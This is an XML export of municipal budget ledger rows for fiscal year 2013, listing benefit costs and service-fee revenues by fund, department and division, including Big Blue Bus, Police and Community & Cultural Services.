<row _id="1409"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>22372.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>224</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22596.0</total></row>
<row _id="1410"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1353.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-157</february><march>0.0</march><april>24</april><may>0</may><june>0.0</june><total>1220.0</total></row>
<row _id="1411"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3935.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-499</february><march>0.0</march><april>102</april><may>0</may><june>0.0</june><total>3538.0</total></row>
<row _id="1412"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10025.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1164</february><march>0.0</march><april>186</april><may>0</may><june>0.0</june><total>9047.0</total></row>
<row _id="1413"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>38999.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>38999.0</total></row>
<row _id="1414"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4017407.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4017407.0</total></row>
<row _id="1415"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>43629.0</july><august>6294</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>34576</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>84499.0</total></row>
<row _id="1416"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>166351.0</july><august>10172</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1765</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>178288.0</total></row>
<row _id="1417"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2224.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>22</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2246.0</total></row>
<row _id="1418"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>406071.0</object><object_description>PLAYA VISTA</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-626351.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-626351.0</total></row>
<row _id="1419"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>577850.0</object><object_description>CONTINGENCY</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>63799.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>57532</february><march>0.0</march><april>11688</april><may>0</may><june>-29143.0</june><total>103876.0</total></row>
<row _id="1420"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>19573.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>696</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20269.0</total></row>
<row _id="1421"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>26783.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>268</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27051.0</total></row>
<row _id="1422"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>104794.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1048</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>105842.0</total></row>
<row _id="1423"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>211129.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>211129.0</total></row>
<row _id="1424"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>57124.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>571</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>57695.0</total></row>
<row _id="1425"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>43957.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>440</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>44397.0</total></row>
<row _id="1426"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>65867.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>65867.0</total></row>
<row _id="1427"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10159.0</july><august>0</august><september>0.0</september><october>2000.0</october><november>0</november><december>0</december><january>0.0</january><february>998</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13157.0</total></row>
<row _id="1428"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>32577.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>326</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>32903.0</total></row>
<row _id="1429"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>988.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>998.0</total></row>
<row _id="1430"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8497.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>85</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8582.0</total></row>
<row _id="1431"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11832.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-351</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11481.0</total></row>
<row _id="1432"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401001.0</object><object_description>SWIM CENTER-GROUP LESSONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-173047.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-173047.0</total></row>
<row _id="1433"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401004.0</object><object_description>SWIM CENTER-PERMIT GROUPS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-154324.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-154324.0</total></row>
<row _id="1434"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8576.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8576.0</total></row>
<row _id="1435"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>276.0</july><august>72</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>144</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>492.0</total></row>
<row _id="1436"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>113359.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-16957</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>96402.0</total></row>
<row _id="1437"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>13596.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1468</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12128.0</total></row>
<row _id="1438"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>487199.0</july><august>-15383</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-26933</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>444883.0</total></row>
<row _id="1439"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>217.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>219.0</total></row>
<row _id="1440"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-RES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-250000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-250000.0</total></row>
<row _id="1441"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="1442"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2874.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>29</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2903.0</total></row>
<row _id="1443"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>22103.0</july><august>0</august><september>0.0</september><october>-59.0</october><november>0</november><december>0</december><january>0.0</january><february>220</february><march>0.0</march><april>-364</april><may>0</may><june>0.0</june><total>21900.0</total></row>
<row _id="1444"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5967.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5967.0</total></row>
<row _id="1445"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8347.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>83</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8430.0</total></row>
<row _id="1446"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>34385.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>344</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>34729.0</total></row>
<row _id="1447"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>82221.0</july><august>0</august><september>0.0</september><october>943.0</october><november>-943</november><december>0</december><january>0.0</january><february>822</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>83043.0</total></row>
<row _id="1448"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401007.0</object><object_description>SWIM CENTER-SEMI-PRIVATE LESSO</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-85832.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-85832.0</total></row>
<row _id="1449"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>533670.0</object><object_description>IMAGING COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2974.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2974.0</total></row>
<row _id="1450"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>509.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>509.0</total></row>
<row _id="1451"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5176.0</july><august>0</august><september>0.0</september><october>-1700.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3476.0</total></row>
<row _id="1452"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>404.0</july><august>0</august><september>0.0</september><october>-130.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>274.0</total></row>
<row _id="1453"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>59616.0</july><august>0</august><september>0.0</september><october>-19327.0</october><november>0</november><december>0</december><january>0.0</january><february>403</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40692.0</total></row>
<row _id="1454"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2210.0</july><august>0</august><september>0.0</september><october>-600.0</october><november>0</november><december>0</december><january>0.0</january><february>16</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1626.0</total></row>
<row _id="1455"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4563.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>46</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4609.0</total></row>
